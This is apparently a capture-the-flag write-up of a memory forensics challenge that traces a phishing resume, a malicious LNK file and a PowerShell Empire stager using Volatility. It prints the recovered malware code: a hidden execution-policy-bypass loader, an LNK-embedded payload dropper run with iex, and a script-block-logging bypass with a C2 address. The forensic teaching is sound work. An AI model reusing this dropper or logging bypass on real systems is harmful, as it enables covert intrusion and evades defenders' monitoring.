Reminiscent - HackTheBox

Description

Suspicious traffic was detected from a recruiter's virtual PC. A memory dump of the offending VM was captured before it was removed from the network for imaging and analysis. Our recruiter mentioned he received an email from someone regarding their resume. A copy of the email was recovered and is provided for reference. Find and decode the source of the malware to find the flag.

Files Provided

• flounder-pc-memdump.elf - Memory dump from Windows 7 SP1 x64 VM
• imageinfo.txt - Volatility profile information (Win7SP1x64)
• Resume.eml - Recovered email with malicious link

Analysis

Initial Reconnaissance

Extracted the challenge archive (password: hackthebox) and examined the files:

• Memory dump is an ELF core file from VirtualBox
• Email shows phishing attempt from "Brian Loodworm" to "[email protected]"
• Email contains link to http://10.10.99.55:8080/resume.zip

The attack chain becomes clear: phishing email with malicious resume link.

Process Analysis

Listed processes from the memory dump using Volatility 3:

vol -f flounder-pc-memdump.elf windows.pslist

Key findings:

Process	PID	Parent	Time	Notes
thunderbird.exe	2812	-	-	Email client (opened malicious email)
powershell.exe	496	explorer.exe	18:06:58	First stage payload
powershell.exe	2752	496	18:07:00	Second stage (Empire stager)

The process tree reveals the infection chain: Thunderbird -> Explorer -> PowerShell -> PowerShell

Command Line Extraction

vol -f flounder-pc-memdump.elf windows.cmdline

Found two PowerShell processes with encoded payloads.

Solution

Decode First Payload (PID 496)

The first PowerShell had a base64-encoded command:

powershell.exe -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('...')); iex $r;

Decoded to a dropper script:

$stP,$siP=3230,9676;
$f='resume.pdf.lnk';
if(-not(Test-Path $f)){
    $x=Get-ChildItem -Path $env:temp -Filter $f -Recurse;
    [IO.Directory]::SetCurrentDirectory($x.DirectoryName);
}
$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';
$b64=New-Object byte[]($siP);
$lnk.Seek($stP,[IO.SeekOrigin]::Begin);
$lnk.Read($b64,0,$siP);
$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);
$scB=[Text.Encoding]::Unicode.GetString($b64);
iex $scB;

This reads embedded payload from resume.pdf.lnk at offset 3230 (9676 bytes).

Decode Second Payload (PID 2752) - FLAG FOUND

The second PowerShell used -enc parameter with UTF-16LE base64:

echo '...' | base64 -d | iconv -f UTF-16LE -t UTF-8

Decoded to a PowerShell Empire stager with the flag embedded:

# AMSI and Script Block Logging bypass
$GroUPPOLiCYSEttINGs = [rEF].ASseMBLY.GEtTypE('System.Management.Automation.Utils')."GEtFIE`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static').GETValUe($nulL);
$GRouPPOlICySeTTiNgS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;

# RC4 key and C2 configuration
$K=[SYStEM.Text.ENCODIng]::ASCII.GEtBytEs('E1gMGdfT@eoN>x9{]2F7+bsOn4/SiQrw');
$ser='http://10.10.99.55:80';
$t='/login/process.php';

# FLAG embedded in source
$flag='HTB{REDACTED}';

# ... RC4 decryption and execution ...

Attack Chain Summary

Phishing Email (Resume.eml)
    |
    v
resume.zip download (http://10.10.99.55:8080/resume.zip)
    |
    v
resume.pdf.lnk execution
    |
    v
PowerShell Stage 1 (PID 496) - Dropper
    |
    v
PowerShell Stage 2 (PID 2752) - Empire Stager
    |
    v
C2 Communication (10.10.99.55:80)

Tools Reference

Volatility 3 Commands Used

# List processes
vol -f <dump> windows.pslist

# Get command lines
vol -f <dump> windows.cmdline

# Other useful plugins
vol -f <dump> windows.pstree      # Process tree
vol -f <dump> windows.netscan     # Network connections
vol -f <dump> windows.filescan    # File handles
vol -f <dump> windows.dumpfiles   # Extract files

PowerShell Decoding

# ASCII base64
echo '<base64>' | base64 -d

# UTF-16LE base64 (PowerShell -enc)
echo '<base64>' | base64 -d | iconv -f UTF-16LE -t UTF-8

Lessons Learned

1. PowerShell Empire stagers often embed configuration including flags/keys in plaintext
2. Memory forensics can reveal the full attack chain through process relationships
3. Always check both ASCII and UTF-16LE encoding for PowerShell payloads
4. LNK files can contain embedded payloads at specific offsets
5. The -enc parameter always uses UTF-16LE encoding